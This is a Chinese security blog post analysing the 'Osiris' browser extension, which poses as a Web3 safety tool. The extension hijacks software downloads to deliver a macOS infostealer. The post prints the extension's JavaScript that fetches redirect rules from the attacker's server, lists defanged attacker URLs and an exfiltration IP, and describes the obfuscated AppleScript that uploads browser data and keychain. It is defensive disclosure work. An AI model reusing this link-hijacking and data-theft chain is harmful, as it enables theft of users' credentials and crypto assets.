安全研究

Osiris 恶意浏览器扩展分析:伪装安全工具的下载链接劫持

#Web3 Security#样本分析#恶意软件
近黑深绿蓝背景上,浏览器扩展商店中一个被铜橙色高亮的恶意扩展图标,终端拖拽执行和Base64解码代码片段散落背景,AppleScript隐藏执行路径与数据外传通道箭头——象征 Osiris 恶意浏览器扩展下载链接劫持攻击

事件背景

今日,社交平台 X 上的用户 @0xmaoning 联系慢雾安全团队寻求帮助,表示发现浏览器扩展"Osiris"存在钓鱼嫌疑,隐蔽性极强,自己差点中招,希望我们协助分析以避免更多人受害。

经过慢雾安全团队的深入分析,该恶意浏览器扩展会替换用户正常的下载链接,重定向到恶意程序的下载链接,用户不知不觉下载安装了恶意程序,导致加密资产的损失。在此,特别感谢 X 用户 @0xmaoning 和 @Onefly_eth 提供的线索与反馈,为本次分析提供了关键支持,有效避免更多用户落入陷阱。

攻击信息概览

相关攻击信息

  • 恶意浏览器扩展下载地址:https[:]//chromewebstore.google.com/detail/osiris/leegjgppccbgnajpjgijlhplefgpnmdf
  • 恶意程序下载地址:https[:]//osiris.vip/registrartionusersuccessfully.php?type=dmg
  • 恶意站点:https[:]//osiris.vip/
  • 恶意程序上传数据地址:http[:]//192.124.178.88

钓鱼技巧分析

攻击者通过社交平台推荐目标用户下载恶意浏览器扩展"Osiris",该扩展伪装成 Web3 安全工具,美其名曰帮助用户识别 Web3 欺诈、钓鱼、恶意程序等,实则心怀不轨。

扩展代码分析

我们分析恶意浏览器扩展的代码,发现该扩展通过 chrome.declarativeNetRequest.updateDynamicRules 的方式设置网络请求的规则。代码内容如下所示:

function fetchDynamicRules() {
  chrome.storage.local.get("uid", data => {
    const uid = data.uid ? data.uid : "";
    const uidParam = uid ? `?uid=${uid}` : "";
    fetch(`${BASE_URL}/security${uidParam}`)
      .then(response => response.json())
      .then(rules => {
        if (!rules || !Array.isArray(rules)) {
          console.warn("Rules incorrect.");
          return;
        }
        const ruleIds = rules.map(rule => rule.id);
        chrome.declarativeNetRequest.updateDynamicRules({
          removeRuleIds: ruleIds,
          addRules: rules
        }, () => {
          console.log("Rules updated", rules);
        });
      })
      .catch(err => console.error("Error fetching rules:", err));
  });
}

网络请求的规则是从攻击者控制的服务器上获取的。规则获取的请求:https[:]//osiris.vip/security?uid=aauyaxxsyd

规则获取请求

获取并添加规则到 chrome.declarativeNetRequest.updateDynamicRules 后,目标用户后续的网络请求如果匹配到了规则就会被替换。

规则配置

攻击者设置的规则是:

  • 匹配所有以 .exedmgzip 结尾的 URL
  • 仅针对网页主框架(地址栏 URL)或子框架(iframe)的请求
  • 替换成恶意程序下载链接

有关 declarativeNetRequest 的介绍可以参考 Chrome 官方文档:https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest

declarativeNetRequest 文档

因此,在目标用户安装完恶意扩展后,攻击者还会引导用户去某些应用程序的官网(如 Notion 的官网)下载应用程序,从而触发下载链接替换的陷阱。触发后,虽然浏览器中的下载记录显示的是应用程序官方的来源,但是下载的程序已经被替换成恶意程序了,攻击者巧妙地利用了浏览器展示上的缺陷对用户进行欺骗。

下载链接替换演示

恶意程序分析

我们以 macOS 版本的恶意程序为例进行分析。

恶意程序下载地址(风险提醒:注意要在隔离的环境中进行分析):https[:]//osiris.vip/registrartionusersuccessfully.php?type=dmg

恶意程序被打开后会引导用户打开终端,并将 Installer 拖到终端中运行。

引导终端运行

用户实则是将 Installer.kmo 放到了终端中运行。Installer.kmo 使用了 base64 编码隐藏攻击者的代码意图,同时要求用户输入电脑密码以获取权限,从而读取敏感数据。

base64 编码隐藏

解码后发现是使用 bash 运行了一段 AppleScript 脚本。该 AppleScript 是为了运行 .Installer

  1. 查找目标磁盘,通过 AppleScript 列出所有挂载的磁盘,找到名称包含 Installer 的磁盘
  2. 复制隐藏安装程序,将该磁盘中的隐藏文件 .Installer 复制到 /tmp 目录,并赋予执行权限
  3. 静默执行,直接运行复制的安装程序,过程中通过 try 块抑制错误,无任何验证或用户交互

AppleScript 脚本

运行 .Installer 后,会将用户的 Chrome 浏览器数据和 keychain 等数据进行打包,然后上传到 192.124.178.88。攻击者拿到这些数据后可以尝试解码获取 Web3 钱包的私钥或助记词,从而盗取用户的资产,也可以获取用户 Chrome 中保存的账号密码,进而接管用户的社交平台账号、加密货币平台账号等。

数据外传

类似的攻击手法我们此前已分析过,感兴趣的读者见 眼见不为实|假 Zoom 会议钓鱼分析

类似攻击参考

写在最后

真安全无需过度承诺,伪工具终难掩饰杀机。Web3 世界机遇与风险并存,以"安全"为名的解决方案或者工具推荐,也可能成为被攻击者利用的用户心理突破口。这类伪装成"安全工具"的扩展程序通过劫持下载链接、植入恶意代码等手段窃取加密资产和用户数据,已有用户蒙受损失。

慢雾安全团队提醒广大用户避免安装不知名的程序、扩展等,也不要轻信陌生人的方案或者工具推荐。此外,建议用户通过安装知名杀毒软件,进一步加强端上的安全防御。